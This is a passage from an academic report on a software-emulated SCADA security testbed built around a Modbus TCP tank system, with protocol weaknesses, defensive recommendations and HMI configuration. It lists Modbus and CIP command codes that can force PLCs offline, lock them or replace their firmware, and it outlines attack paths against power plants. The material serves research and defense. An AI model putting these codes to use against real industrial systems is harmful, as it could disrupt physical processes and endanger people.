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The security of industrial network has become an increasing concern in industry in-
frastructure operation. Motivated by on-going collaborations with Fortinet Corp., a secu-
rity company, this project implements a testbed for supervisory control and data acquisi-
tion (SCADA) network security research by software emulation. Concepts about SCADA 
and Modbus protocol are reviewed in the report. Besides Modbus, vulnerabilities about 
several other industrial protocols are also studied for this project. In this report, a typical 
tank system following Modbus protocol is built as a testbed. Both attack and defense 
toolkits are introduced to emulate the attack and protection of the Modbus network. The 
emulation platform is also capable of entrapping hackers and gathering their activity data. 
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Chapter 1 Introduction 
1.1. Main Purpose 
Supervisory control and data acquisition (SCADA) is a software system used to 
automate and/or monitor industrial processes in various vertical markets: manufactur-
ing, transportation, energy management, building automation, and any other field 
where real time operational data is used to make decisions [27]. In the Internet era, 
people pay more attention to the security of the conventional network, which is 
mostly based on TCP/IP protocol. The security community these days are more inter-
ested in the up-to-date attack methods, for instance, the XSS (Cross Site Script). How-
ever, like any software system, SCADA also has its own corresponding threat, for ex-
ample, the Stuxnet is a computer worm which was designed to attack the SCADA. 
Since the Stuxnet attack incident happened in Iran in 2010, people began to realize the 
importance and urgency of SCADA network security. In order to protect industrial 
networks, we investigate SCADA security and its related vulnerabilities. The best ap-
proach to study industrial network security is to study it under the real corporate envi-
ronment. This approach, however, is impractical due to the reliability performance re-
quirement of such system. For example, logging all the communication packets may 
slow down the message transmission rate, which is unfavorable for corporate net-
works. 
To circumvent this problem, T. Morris introduced a testbed with real industrial 
devices [1] to study the production system, however, it does have some disad-
vantages: 
1. It is costly to build a large-scale real device network. 
2. It is both technically difficult and time consuming to reconfigure the net-
work. 
3. It is difficult to incorporate a new protocol as the real network device is 
bound to a specific service and protocol. 
2 
 
 
Therefore, it is necessary to design a software based testbed has the following 
features: 
1. It could simulate a large-scale SCADA network whose topology is easy to 
change on demand. 
2. In addition, new vulnerability research, new services and protocols could be 
integrated into the system easily. 
3. Both the protocol-oriented and process-oriented attack toolkit as well as the 
defense system should be included in the testbed. 
4. It could show its ability to entrap hackers and log all their activities for fur-
ther research. 
Thus, the main purpose of this report is to build a testbed which can emulate the 
attack and protection of the SCADA network. The emulation platform is also capable 
of entrapping hackers and gathering their activity data for further research. 
1.2. Testbed Features 
According to the main research purpose of the testbed, this project should include 
the following features: 
1. Industrial devices, e.g. programmable logic controller (PLC) could be simu-
lated, and they could use industrial protocols to communicate with each 
other. 
2. The simulated PLC could form a real large-scale network, which is close to a 
real production network. 
3. The testbed could demonstrate a real industrial production process. 
4. Industrial protocol oriented attack tools should be included in the testbed. Re-
searchers can use these tools to carry out attack easily. 
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5. The testbed has the ability to detect network intrusion and common attack be-
havior. Users can choose to cut off the malicious session or just log the alert. 
6. The testbed could connect to the Internet to entrap hackers, gather their at-
tack behavior data for further analysis. New attack patterns might be found 
by the analysis results. 
7. The testbed should be easy to deploy and operate. And the update, upgrade 
and maintenance of it should be conducted without difficulty.  
8. The testbed should support for secondary development. 
9. The whole testbed should be easy to install on a personal computer with low 
cost. 
10. The new machine learning algorithm could be integrated into this testbed to 
find out a new process-oriented attack method and generate new intrusion de-
tection rules. 
1.3. Testbed Architecture 
In the real world, an attack incident must contain two essential elements, the at-
tacker (hacker) and the attacking object (target). The attacking objects include, for ex-
ample, a variety of  applications, databases and devices. In some environment, peo-
ple also implement some common security means, like firewall, network intrusion de-
tection system, network intrusion prevention system. All these security means are 
called the defenders in the testbed. These three parts of the testbed architecture (Fig-
ure 1) will be described below. 
1.3.1. Attack Targets 
The general target in an industrial attack is the SCADA network itself. However, 
since the PLC is the most popular device used in SCADA, it is chosen as the specific 
target during an attack. Thus, to study the SCADA security, to build a small SCADA 
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network with PLC devices is necessary. Currently, all the PLC in this project are vir-
tual (blue part in Figure 1), which means they are simulated by software. The simu-
lated target must have all the SCADA network essentials, otherwise, the hackers can 
easily find out it is a trap. From the hacker’s perspective, the virtual target he attacked 
must be a real SCADA network. In addition, the target needs to support real industrial 
process, the reason is some process-oriented attack approach can impede normal pro-
duction without a malicious code. Proprietary defense approaches need to be studied 
and deployed in a certain system. 
1.3.2. Defenders 
The main function of the defender (or defense system, grey part in Figure 1) is to 
detect, track, alert and cut off malicious sessions. In this project, the defender is a 
combination of firewall and Intrusion Prevention System (IPS). The firewall can filter 
the packets by IP address range, ports and some connection behavior (like how many 
connections established in an hour). The IPS can filter the packets by their contents. 
For example, an ftp server is using the port 21 to communicate with the master, the 
firewall accepts port 21 packets and queues them to the userspace to let IPS do a fur-
ther check. If the packets contain malicious data, they will be dropped by the IPS. 
Other packets to ports other than 21 would be dropped by the firewall. An open 
source software called Honeywall is employed in the defender part. It contains a 
standard Linux firewall (iptables, aka IP chain or netfilter) and snort. Snort is a de 
facto open source IDS/IPS standard. The policies of both iptables and snort need to be 
carefully configured to meet the testbed requirements. 
1.3.3. Attackers 
It is hard to become a professional hacker in a short time, however, some power-
ful attack tools can help the researchers to act as a professional. As illustrated in Fig-
ure 1, three different attack toolkits are available. The first one is the Kali Linux dis-
tribution which contains a bunch of network security attack tools. The most powerful 
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one of them is a penetrating test tool called Metasploit [20]. Using Metasploit, hack-
ers can gain the privilege of a defective SCADA device such as the web console ac-
count and password of a PLC. The second one is the Nexpose [21]. It is a vulnerabil-
ity scanner which can list all the known vulnerabilities of the target, distributed de-
nial-of-service attack (DDoS) or unencrypted Telnet service is some examples of the 
scan results. The third one is the Samurai [22].It is a SCADA oriented attack toolkit. 
It contains several classic SCADA attack tools including ModScan (scan all the func-
tions of a PLC). By using these toolkits, hackers are able to scan the whole target net-
work topology (if the network security policy allows), exploit a certain vulnerability 
and conduct an accurate attack. 
1.3.4. Networks 
IP addresses can be divided into public and private. The public IP address is glob-
ally unique in Internet while the private IP address in only unique in local area net-
work (LAN). The private IP address begins with 10, 172.16-172.31 or 192.168. 
In our project, we developed a SCADA security testbed where all the targets, de-
fenders, attackers are deployed on virtual machines and they connect with each other 
in a LAN. The attackers are in the 192.168.100.0/24 network, while the targets are in 
the 10.0.0.0/24. The defender works in a bridge mode to route and transmit packets 
between the two networks. The reason to build two different network segments is to 
simulate a real attack scenario. Because most attack instructions need to go through 
many routers and switches to achieve the final targets. The administration network 
(green part in Figure 1) is in 172.16.1.0/24 segment, people can login by ssh session 
or operate by web console. All the network behaviors in this testbed can be logged 
and transmitted in administration network for future analysis. 
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Figure 1: SCADA Testbed Architecture 
1.4. Outline of Report 
The outline of this report is organized as below: 
Chapter 2 introduces the basic concepts about SCADA network. Also, the most 
popular industrial network protocols with their security issues and recommendations 
are discussed in this chapter. 
Chapter 3 is the description of attack target—PLC/HMI devices. It also describes 
a tank system as a SCADA emulator and development toolkit—MBLogic used for 
setting up the system. 
Chapter 4 describes the principles of network scanning and operating system fin-
gerprint. How to use a honeypot to entrap hackers is also introduced in this chapter. 
Chapter 5 discusses the defense system. The detail configuration of iptables (the 
firewall) and SNORT (the IPS) will be given in this chapter. 
Chapter 6 gives a brief introduction to three different attack toolkits. 
Chapter 7 describes the attack procedure of the tank system. Both the attack 
method and attack result will be shown in a table of this chapter. 
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Chapter 8 is a detailed description about configuration of the testbed. 
Chapter 9 concludes the report and suggests future work. 
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Chapter 2 SCADA Vulnerabilities 
2.1. Basic Concepts of SCADA Network 
Supervisory control and data acquisition (SCADA) is a system operating with 
coded signals over communication channels so as to provide control of remote equip-
ment (using typically one communication channel per remote station). The control 
system may be combined with a data acquisition system by adding the use of coded 
signals over communication channels to acquire information about the status of the re-
mote equipment for display or for recording functions [2]. A typical SCADA system, 
e.g. a nuclear power plant, can gather all kinds of data and statistics of the reactor; op-
erators can also control the nuclear fission process by manipulating the control mod-
ule in SCADA. In the past, SCADA is only a part of the industrial network. But now-
adays, people use the terms SCADA and industrial network or industrial control net-
work interchangeably. In this report, all the three terms have the same meaning. 
In order to enhance the security of SCADA network, understanding its difference 
from a conventional network (e.g. Enterprise network, or campus network) is neces-
sary. The first difference is the device, conventional network has servers, work-
stations, routers and switches, while in SCADA, the most commonly used devices are 
programmable logic controller (PLC), Human Machine Interface (HMI) and Intelli-
gent Electronic Device (IED). The second difference is the protocol, especially in the 
Open Systems Interconnection (OSI) model application layer. A conventional net-
work uses HTTP, FTP and SNMP while an industrial network uses proprietary proto-
cols such as Modbus, Powerlink and DNP3, etc. The third difference is the physical 
layer. The most common transmission media in conventional network is Ethernet ca-
ble; but in industrial network, all kinds of media may be used. Besides Ethernet, serial 
cable, coaxial cable and even WIFI might be employed in SCADA network. The last 
difference is the topology. Most topology of SCADA networks is highly sophisticate, 
in a power plant it usually contains five zones (Figure 2): 
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1. Internet zone 
2. Datacenter zone 
3. Plant network zone 
4. Control network zone 
5. Filed IO zone 
 
Figure 2: SCADA Zones of Power Plant 
The five zones [3] will be described from the bottom to the top of Figure 2. The 
filed IO zone is used to deploy the industrial devices and run the proprietary proto-
cols. This is the most important area of the industry network, the reactor controller or 
the cooling pump system of a power plant are deployed in this zone. This zone is also 
the data stream source to the control network zone.  
The aforementioned genuine SCADA is usually located in the control network 
zone. The data generated in the field IO zone is collected and transmitted to control 
network zone and operators use it to monitor and control the plant production. 
The field IO zone and the control network zone are in a single substation. Substa-
tions are connected by the plant network zone (or Smart Grid zone) which lies in the 
10 
 
 
upper layer. If the hackers want to cause a blackout, gaining privilege of the plant net-
work zone is necessary; only by controlling that zone, the hacker might have the abil-
ity to offline two substations simultaneously.  
Datacenter zone (or enterprise network zone) is a traditional network mostly run-
ning the TCP/IP protocols. The original plant production data are processed in the 
plant network zone and control network zone. But these data need to be transmitted to 
the datacenter zone for business purpose. The typically systems that deployed in this 
zone are MIS (management information system), ERP (enterprise resource planning).  
Internet zone is used to publish data to the public or transmit information between 
vendors. In most cases, the first attack target is the Internet zone, because it has many 
vulnerabilities of network protocols and software. For instance, an exploit in the old 
version Java Structs2 can easily be used to get the control privilege of the web 
server’s operating system. 
Previously, it was a common opinion that SCADA was secure because of the fol-
lowing reason:  
1. It uses proprietary protocols, hackers do not have enough knowledge about 
them. 
2. These SCADA network zones are isolated. 
However, since the Internet is universal, hackers can easily search the materials 
and share exploits of these dedicated protocols. In addition, nowadays SCADA sys-
tems are no longer isolated networks, instead, they connected to the Internet as part of 
the requirement of modern business such as real time billing. Although firewalls and 
other security devices are typically deployed between the SCADA and Internet, there 
always exist some vulnerabilities to bypass these security measures. Even if a 
SCADA is isolated from the Internet, it can still be infected by some viruses from the 
removable devices. For instance, a real security bleach named as Stuxnet broke out in 
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in Iran in 2010 was typically introduced to the target environment via an infected 
USB flash drive. 
2.2. The Stuxnet 
The Siemens is one of the largest PLC vendors in the world, its products are 
wildly used industrial. The PLC programming toolkit offered by Siemens is called the 
Step 7 which runs on the Windows System. The Stuxnet is a kind of computer worms 
which used the 0-day vulnerabilities of Windows system and Siemens Step7 software. 
The term 0-day refers to the software vulnerabilities that the vendors do not know its 
existence and have no fix to it. This worm can infect Windows computers by network 
or removable media and try to find the PLC devices which connect to these comput-
ers. As the PLC devices are used widely in SCADA, the worst thing is this worm 
could change or update the values in these devices and cause a direct attack to the 
SCADA system. This worm was designed to cause fast-spinning centrifuges to tear 
themselves apart and it attacked a nuclear power plant in Iran and deferred the plant’s 
power generation in 2010. 
After that, engineers began to realize the importance of the SCADA security. 
Most hackers whose target is an enterprise network are concerned about benefits, like 
money or fame. But the terrorists’ attack target is the industry, it could cause more 
damage even threaten human life. 
2.3. Industrial Protocols 
The main difference between industrial network protocols and conventional net-
work protocols is the demand for real-time performance. Meanwhile, high availability 
and high compatibility are also required. Ethernet is a tested and mature technology, 
which can serve as a consistent and integrated solution for data transmission. As a re-
sult, at present, the most widely used industrial protocols run on Ethernet. The most 
popular three SCADA protocols are Ethernet/IP (market share 30% over the world in 
2013), Profinet (market share 30% over the world in 2013) and Modbus TCP (market 
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share 17% over the world in 2013) (Figure 3) [4]. The features and vulnerabilities of 
all the three protocols together with the other two are studied in this project. For each 
protocol, some security recommendation will also be given in this sub-section. 
 
Figure 3: Industrial Protocol Market Share 2013 
2.3.1. Modbus 
Modbus is one of the many industrial network protocols exist in SCADA. It was 
originally published in 1979 by Modicon for the purpose of using its PLC [28]. It has 
now become one of the most popular protocols of SCADA systems that takes a mar-
ket share of 17% [4]. Due to the high real-time performance and low deployment cost, 
Modbus also became a de facto communication standard in the industry. This protocol 
has several subtypes: Modbus RTU, Modbus ASCII and Modbus TCP. The first two 
subtypes are working on a serial network (non-routable) with a broadcast mechanism. 
And the Modbus TCP works at the application layer (OSI Layer 7), which can trans-
mit messages over a TCP network (routable), commonly via the Ethernet cable. There 
is also a Modbus+ type which is dedicated used in the token ring network. The differ-
ence from RTU and ASCII is, the Modbus TCP messages are transmitted between ex-
act two IP addresses.  
30%
30%
17%
9%
7% 7%
Market Share of  Industrial Protocols
Ethernet/IP
Profinet
Modbus TCP/IP
POWERLINK
EtherCAT
Others
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The main process to complete a Modbus message interaction (Modbus poll) over 
TCP is as follows: 
1. The master encapsulates the request message with a function code and re-
lated data in a TCP payload (Figure 4). 
2. The target IP address in the TCP packet header enables the network 
switches/routers to send this packet to the target slave. 
3. The slave executes the command based on the received function code and 
sends the response data to the master. The response data, for example, may 
be the motor speed or the reactor temperature. 
 
Figure 4: Modbus TCP Packet 
Modbus has three obvious defects, which can easily be exploited to launch an at-
tack. The first one is that all data transmitted by Modbus is in plain text, which means 
this protocol has no encryption mechanism. Consequently all the message can be eas-
ily sniffed and tampered by hackers. At the time the Modicon published this protocol, 
the security was not a concern. Therefore, the Modbus does not have any security 
mechanism. 
The second defect is that Modbus has a build-in function code mechanism. Some 
function codes (Table 1) are quite powerful, for example, the overwriting firmware of 
the PLC (programmable logic controller) function code can easily make a PLC offline 
for a long time. Another example is function code ‘08’ which means diagnostic mode, 
while used by subfunction code ‘04’, it can force the slaves run into listen only mode. 
14 
 
 
If a hacker broadcasts this function code over the whole network and all the slaves 
would not return values any more. 
The third defect only exists in the Modbus serial network. In a serial network, 
Modbus uses broadcast mechanism to send messages between the master device and 
slave devices. For example, if the master wants to inquire the status of a device, it will 
broadcast the enquiry message to every device on that network. The header of this 
message has the slave device ID, every device on the network would receive that mes-
sage, but only the slave device with the right ID can respond to the master. In this sce-
nario, the hacker can easily sniff packets on the broadcast network and launch man-in-
the-middle attack.  
Function code=08/04 Force Listen Only Mode 
Function code=08/01 Restart Communications Option 
Function code=08/0A Clear Counters and Diagnostic Registers 
Function code=43 Read Device Identification 
Function code=11 Report Server Information 
Exception code=06 Slave Device Busy Exception Code De-
lay 
Exception code=05 Acknowledge Exception Code Delay 
Exception code=02 Points List Scan 
Exception code=01 Function Code Scan 
Table 1: Modbus Function Code 
Besides the protocol itself, the devices using it also have weaknesses. Firstly, 
some slaves have no authentication mechanism. It also lacks the physical security 
concerns when the devices are deployed in the field. Secondly, most of these devices 
are working in low power mode with limited compute capacity, which means it is vul-
nerable to a DOS attack. 
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The vulnerabilities related to Modbus can be found in Appendix B. Here are 
some recommendations for Modbus TCP security: 
1. Apply the latest patches for OPC (Open Platform Communications) drivers, 
because almost half of the Modbus related vulnerabilities come from the 
OPC driver. 
2. The Modbus TCP/IP protocol intrusion detection signatures should be added 
into NIDS (Network Intrusion Detection System). Also, both the protocol 
packet size and non-Modbus communication on port 502 should be checked. 
3. Vulnerability scans and penetration test should be done before using any 
Modbus based product, especially those with a web management interface. 
2.3.2. Ethernet/IP  
Ethernet/IP is an industrial protocol, which has a 30% market share in 2013. 
Here, IP is an acronym for Common Industrial Protocol (CIP), not the Internet Proto-
col. The Ethernet/IP is a combination of standard Ethernet frames (ethertype 0x80E1) 
and common industrial protocol. 
Ethernet/IP can transmit messages by TCP or UDP. Both TCP and UDP can use 
the port number 44818 but UDP could also use port 2222. 
There are two modes of Ethernet/IP, the implicit mode and the explicit mode. Im-
plicit mode is mainly used for time-sensitive (real-time) device control. This mode is 
achieved by UDP, which can reduce the I/O message overhead. However, UDP has 
no inherent network-layer mechanism for reliability, ordering, or data integrity 
checks. In this mode, one device can broadcast messages to multiply target devices, 
just like Modbus serial. 
Explicit mode is used for information transmission, commonly large size mes-
sages. These messages are encapsulated by TCP protocol which is more reliable than 
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UDP. Peer to peer communication is implemented in this mode, which means mes-
sages can only be exchanged between two IP addresses. 
Ethernet/IP is an object-oriented protocol, the devices, components and messages 
are all objects (or object classes). The extensive library of device object models makes 
this protocol highly interoperable. 
Ethernet/IP does have some security issues as below: 
1. The CIP itself has no security mechanism, no authentication and no authori-
zation. Also, the messages are in plain text. 
2. The required objects (e.g. the device vendor, the device model) can facilitate 
device identification and enumeration. By a network scan, the hackers can 
gain the information of the device, and exploit the specific vulnerabilities of 
it. 
3. In Ethernet/IP, the service code (Table 2) denotes the management operation 
of the devices. Some powerful service code can easily damage the device, 
e.g. firmware upload. Though attack signatures can be added into IDS, the 
service code variations in different products, which poses a big challenge in 
network defense. 
4. Even the under layer protocols (TCP, UDP) are not that secure. Hacks can 
spoof UDP traffic and manipulate the transmission path of IGMP. 
cip_service=5/6 Reboot or Restart device 
cip_service=7 Stop detection 
cip_service=76 Unlock PLC/Change mode
cip_service=77/78 Lock PLC 
cip_service=79 Software uploads 
Table 2: Service Code of Allen Bradley Controllers 
The vulnerabilities related to Ethernet/IP can be found in Appendix B. The fol-
lowing are some recommendations for Ethernet/IP security: 
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1. The Ethernet/IP protocol attack signatures should be added into NIDS. Sig-
natures might need modification on account of different products. 
2. Vulnerability scans and penetration test should be done before using any 
Ethernet/IP based product, especially the products with a web management 
interface. 
3. To update the device driver and development software to the latest version. 
4. Check the checksum of the firmware before the update. 
5. Check the non-Ethernet/IP communication on port 44818/2222. 
2.3.3. Profinet 
Profinet evolved from the Profibus. Profibus is a widely used industrial bus proto-
col using serial cable, the most notorious industrial virus Stuxnet used the vulnerabil-
ity of Profibus. While Profinet can work on Industrial Ethernet as well as Standard 
Ethernet. Profinet can also work on WLAN, WirelessHART, and Bluetooth.  
Profinet can work with UDP, and TCP is optional. Both the TCP and UDP port 
numbers are from 34962 to 34964.There are three work modes of Profinet [5]: 
1. Standard TCP/IP: This mode is used for non-deterministic functions such as 
parameterization, video/audio transmissions and data transfer to higher level 
IT systems. 
2. Real Time (Profinet RT): Here the TCP/IP layers are bypassed in order to 
improve the deterministic performance for automation applications. The mes-
sage transmission rate needs to be less than 10 millisecond. This protocol is 
typically used in high performance I/O applications, e.g. motion control. 
3. Isochronous Real Time (Profinet IRT): Higher performance can be achieved 
in this mode. Here, signal prioritization and scheduled switching deliver high 
precision synchronization for applications such as motion control. Cycle rates 
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in the sub-millisecond range is possible, with jitter in the sub-microsecond 
range. This mode requires hardware support, e.g. ASIC. 
Profinet has some security issues as below: 
1. Profinet has no authentication mechanism.  
2. The Profinet works in a token-based network, so a spoofed master device can 
broadcast malicious messages to the whole network and causes a denial of 
service attack. 
3. Most Profinet devices work on UDP to achieve high performance, but UDP 
is not as reliable as TCP. 
4. Most devices that support Profinet have an internal server for web access 
management. The web server itself can be a great potential threat. 
The following are some recommendations for Profinet security: 
1. Vulnerability scans and penetration test should be done before using any 
Profinet based products, especially the products with a web management in-
terface. 
2. Check the checksum of the firmware and update to the latest. 
3. Check the non- Profinet communications on port 34962 - 34964. 
4. The Profinet protocol attack signatures should be added into NIDS.  
5. Signatures might need modification on account of different products. 
2.3.4. Powerlink 
Powerlink is another Ethernet-based real-time industrial communication protocol. 
Powerlink does not rely on the higher layer protocol (TCP/UDP), everything is trans-
mitted in Ethernet frames. 
19 
 
 
Powerlink has a feature called cross-traffic. With this feature, every device can 
broadcast messages in the network and communicate with other devices directly. This 
also means a master device is not necessary in the network to control the message. 
Another important feature is free choice of topology. Powerlink can work on any kind 
of network topology, star, tree, ring and so on. Also, changes to the topology would 
not affect the network performance. 
Powerlink has a cyclic polling mechanism in order to achieve μs-level real-time 
performance. The polling cycle is controlled by the master node in the network. Be-
cause of the real-time feature, Powerlink is susceptible to a DOS attack. An injected 
Ethernet frame can cause the network polling working improperly. 
CANopen is a communication protocol and device profile specification for em-
bedded systems used in automation, it is based on the Controller Area Network 
(CAN). At the application layer, Powerlink uses the same drivers as CANopen, so 
Powerlink can also be treated as CANopen over Ethernet. So far, there is no Power-
link protocol vulnerability announced by NVD (National Vulnerability Database). 
The vulnerabilities related to CANopen can be found in Appendix B. 
The following are some recommendations for Powerlink security: 
1. Update the CANopen driver to the latest version. 
2. Isolate the Powerlink network from others.  
3. Make sure the Powerlink master node has redundancy. 
2.3.5. EtherCAT 
EtherCAT operates similar to Powerlink except that Powerlink can only use the 
Ethernet frame (ether type 0x88A4) to transmit real-time messages. In addition, 
EtherCAT can also use the higher layer UDP protocol to communicate on a routed 
network. The UDP port of EtherCAT is 34980. 
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Like Powerlink, EtherCAT master node is used to control the polling cycle. Slave 
nodes can broadcast or multicast messages by themselves. Because of the real-time 
feature, EtherCAT is also susceptible to a DOS attack.  
The vulnerabilities related to EtherCAT can be found in Appendix B. 
The following are some recommendations for EtherCAT security: 
1. It is better to isolate the EtherCAT network from others.  
2. If the EtherCAT network needs to connect with other Ethernet gateways, 
make sure a NIDS is installed on their boundary.  
3. Check the Non-EtherCAT traffic on UDP port 34980. 
Among all the protocols discussed above, only Powerlink does not use the 
TCP/UDP protocol. In order to protect the SCADA network, a clear perimeter is es-
sential. Isolation from the enterprise network and the Internet is the best choice, how-
ever, if a cooperated network is required, the security mechanism must be imple-
mented, e.g. firewall, NIDS. If an industrial controller has a web-based management 
interface, a penetration test is required. 
2.4. HMI/PLC Introduction 
The SCADA network includes the typical industrial devices, such as Programma-
ble Logic Controller (PLC, Figure 5 [6]), Intelligent Electronic Device (IED, Figure 6 
[7]) and Human Machine Interface (HMI, Figure 7 [8]). PLC is a digital computer 
which can process digital and analog input and output to control the automation in-
dustrial process. Turning on/off of a valve is a typical task of the PLC. Different from 
conventional computer systems, the most important feature of the PLC is the real-time 
requirement, which means the response must be done within a limited time. HMI is a 
device with a user interface which can process input requests to the back-end system 
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and display the output, for example, a screen which shows the temperature of the re-
actor and a virtual knob which can control the heavy water level. HMI may be a small 
computer, a single chip microcomputer or a PLC. 
Besides the vulnerabilities of SCADA protocols, the devices have their own 
weakness. Taking PLC as an example, some PLC have a web administration console 
and an internal light web server. Without implementing any security mechanism, the 
web server can be easily attacked. For instance, the Rockwell Automation Control-
Logix 1756-ENBT/A EtherNet/IP Bridge Module allows remote attackers to inject ar-
bitrary web script or HTML via unspecified vectors (Vulnerability Tag: CVE-2009-
0472, [9]). Thus, vulnerability scans and penetrating test of PLC are essential. 
 
Figure 5: MicroLogix 1400 
 
Figure 6: Siemens SIPROTEC 
 
Figure 7: Allen-Bradley PanelView 600 
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2.5. Basic Attack Process 
Even though so many vulnerabilities exist in SCADA network, to launch a suc-
cessful attack is not that easy. Taking the power plant as an example, a successful at-
tack mainly focuses on using the following approaches. 
1. Attacking two or more substations at the same time to cause a blackout. 
2. Using the nature of the industry. For example, if a terrorist hacked a nuclear 
power plant and controlled the reactor, maybe thousands of people’s lives 
will be threatened. 
3. Controlling the power plant, hackers can make more extensive attacks. By 
simply tuning the voltage higher, tens of thousands instruments will be dam-
aged. 
A typical attack to the SCADA network needs to exploit the SCADA devices and 
the protocol vulnerabilities. Taking Rockwell ControlLogix 1756 PLC for example, a 
hacker can use the Internet to access the web console of the device and gain the user 
privilege through code injection, after that, he can forge a Modbus command to force 
all the slaves offline. 
In order to protect these devices, some security devices such as a network intru-
sion detection systems (NIDS) must be deployed between the control network zone 
and the filed IO zone. The defense system will be discussed in chapter 5. 
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Chapter 3 Modbus Tank System 
3.1. Tank System Introduction 
One core part of this project is to build a software PLC emulator which could 
transmit messages by Modbus protocol. The PLC simulator is capable of fast deploy-
ment and easy to change/add new functions. With this emulator, attacks to the de-
vices, protocols and production process can be simulated. 
In [1], a single hardware tank system with Modbus RTU was built to analyze at-
tack data. In this project, a system with two tanks using the Modbus TCP is built to 
demonstrate a simple industrial process. Figure 8 is the HMI of the tank system. The 
basic idea of it is as below: 
1. Both the two tanks have water (or some other liquid) within a certain level. 
The column bar and the meter on the tank figure show the water level. The 
water level range is from 0 to 100. 
2. A knob on the right can turn on the pump and pump water from one tank to 
the other. ‘Fwd’ position pumps water from tank1 to tank2. ‘Rev’ position 
pumps water from tank2 to tank1. ‘Stp’ position stops pumping the water. 
3. A pair of buttons under the knob can tune the pumping speed. An integer dis-
plays the actual speed of the pump. The range is -9 to 9. For example, ‘-9’ 
means pump water from tank 2 to tank 1 at a speed of 9 units per second. ‘5’ 
means pump water from tank 1 to tank2 at a speed of 5 units per second. 
4. Thresholds are set on each tank to limit the water level. HH: If water level is 
above the HH (95), the system generates an alarm. LL: If water level is under 
the LL (5), the system generates an alarm. H: If water level is above the H 
(80) but is under HH (95), the system generates a warning. L: Water level un-
der the L (20) but is above LL (5), the system generates a warning. 
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5. A normal process is pumping water between two tanks within the threshold. 
While the hackers are trying to make water exceed the threshold, with or 
without generating an alarm. Apparently, an attack without an alarm is much 
more successful. The industrial system is attacked without getting anyone’s 
notice can surely cause more damage. 
 
Figure 8: Tank System HMI 
3.2. MBLogic Configuration 
The tank system is developed by the MBLogic HMIBuilder and HMIServer [29]. 
MBLogic is an industrial PLC and HMI development toolkit which offers a lot of 
ready-to-use gadgets, for example the tank, the knob and the meter in this project. The 
communication protocols used in MBLogic are Modbus TCP and SAIA Ether SBus. 
The MBLogic official website shows a demo with all the gadgets it offered [10]. A 
simple tank system is also shown in the demo, however, there are no threshold and 
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alarm settings and the whole system only works as a single PLC, no Modbus mes-
sages are transmitted in this demo. 
The tank system has two parts, one is the HMI, which is mentioned in 3.1, and 
the other is the sensor. The HMI’s purpose is to pull data or send commands from the 
sensor. In the tank system, HMI needs to query the water level of two tanks from the 
sensors (poll data) and send the desired pump speed to the motor (send command). 
Both the two actions are done in every 100ms. In TCP/IP, the HMI is the client (who 
sends requests) and the sensor/motor are the servers (who process the requests). In 
Modbus, in contrast, the HMI is the Modbus master and the sensor/motor are the 
slaves. Master always sends requests to slaves while slaves send their response to the 
master. The detailed configuration of the HMI/sensor/motor is represented below. 
The backend of the HMI is a PLC while the frontend of it is a web browser. The 
main idea is the components on the AJAX web pages send and request data dynami-
cally, all these requests are processed by the Javascript library which can read or write 
the system data table (system address). While the PLC has its own logic data table 
(logic address) to run the desired logic program (e.g. determine whether the water 
level is higher than the threshold). Both the system address and the logic address will 
be linked to a single HMI objects (Figure 9). 
Modbus Master (Client)
10.0.0.5 (Honeyd)
10.0.0.3 (Physical IP)
Tank1 Level
Tank2 Level
Pump Speed
Threshold HH
Threshold LL
Threshold H 
Threshold L
HMI Objects
42210[HoldingReg]
42211[HoldingReg]
32210[HoldingReg]
42212[HoldingReg]
42213[HoldingReg]
42214[HoldingReg]
42215[HoldingReg]
System Address
YS10
YS11
XS10
YS12
YS13
YS14
YS15
Logic Address
Tank1 Sensor
Tank2 Sensor
Pump Valve
HMI Objects
42210[HoldingReg]
42211[HoldingReg]
32210[HoldingReg]
System Address
YS10
YS11
XS10
Logic Address
Modbus Slave (Server)
10.0.0.4 (Physical IP)
Modbus Poll
 
Figure 9: Address of the Tank System 
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Here we take the water level of tank 1 as an example. The HMI refreshes the web 
page every 1500ms which is set in the clientconfigdata.js. In the HMI webpage file 
(hmidemo.xhtml) the column of the tank level is described as follows: 
<g id="Tank1Column" inkscape:label="#g3482" 
mblogic:editcount="1" mblogic:inputfunc="[]" 
mblogic:menu="[{"param": "outputtag", "type": "tag", "name": 
"Output Tag", "value": "Tank1Level"}, {"param": "min", "type": 
"int", "name": "Minimum Value", "value": "0"}, {"param": "max", 
"type": "int", "name": "Maximum Value", "value": "100"}]" 
mblogic:outputfunc="MBHMIProtocol.AddToDisplayList(new 
MB_ColumnGauge(document, "%(widgetid)s", "MB_Column_RedGradi‐
ent", "%(min)s", "%(max)s"), "%(outputtag)s", "read");" 
mblogic:widgetname="Tank Column Polygon" mblogic:widget‐
type="column_gauge" style="fill:url(#linearGradient3499)" trans‐
form="translate(107.50965,256.8954)"> 
</g> 
The value of the ‘Tank1Column’ is defined as ‘Tank1Level’. The Javascript in-
terprets the Tank1Level and searches the system address in the mbhmi.config file. In 
the following configuration, the Tank1Level is an integer stored in the holding regis-
ter address 42210, its range is between 0 and 100. There are 4 data types in Modbus 
protocol (Table 3) [11]. Here, the holding register address means both the Modbus 
master and slave and read from and write to it. The mapping between the system ad-
dress and logic address is defined in the mblogic.config file. From the perspective of 
PLC, it needs to read the value and compare it to the threshold, so, the action defined 
in that file is read. Begin with the ‘base’ system address, each value will be assigned a 
logic address in the ‘logictable’. In the below example, YS10 is mapped to 42210, 
YS11 is mapped to 42211 and so on. In other words, with these two configuration 
files, the water level of tank1 is related to the system address 42210 and logic address 
YS10. Both the two addresses are holding register data type, while 42210 mainly used 
to store data value and YS10 used to do some calculation. 
mbhmi.config: 
[Tank1Level] 
datatype = integer 
addrtype = holdingreg 
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range = 0, 100 
scale = 0, 1 
memaddr = 42210 
 
mblogic.config: 
[Tanks] 
action = read 
addrtype = holdingreg 
base = 42210 
strlen = 0 
logictable = YS10,YS11,YS12,YS13,YS14,YS15 
 
Discrete inputs 
These are read only boolean values. They are typically used to 
represent sensor inputs and other boolean values which are read 
but not written to by the user. 
Coils 
These are read-write boolean values. They are typically used to 
represent outputs (e.g. valve solenoids) or internal bits which are 
both read by and written to by the user. 
Input registers 
These are read only 16 bit integers. They are typically used to rep-
resent analogue input values and other integer values which are 
read but not written to by the user. 
Holding regis-
ters 
These are read-write 16 bit integers. They are typically used to 
represent analogue outputs or internal numbers which are both 
read by and written to by the user. 
Table 3: Modbus Data Type 
The backend PLC logic is defined in the plcprog.txt file (Appendix C). In the 
main routine, ‘COPY YS10 DS10’ copies the tank1 level from an output address to a 
data address. In the event routine, ‘STRGE DS10 YS14; OUT Y30’ means if DS10 
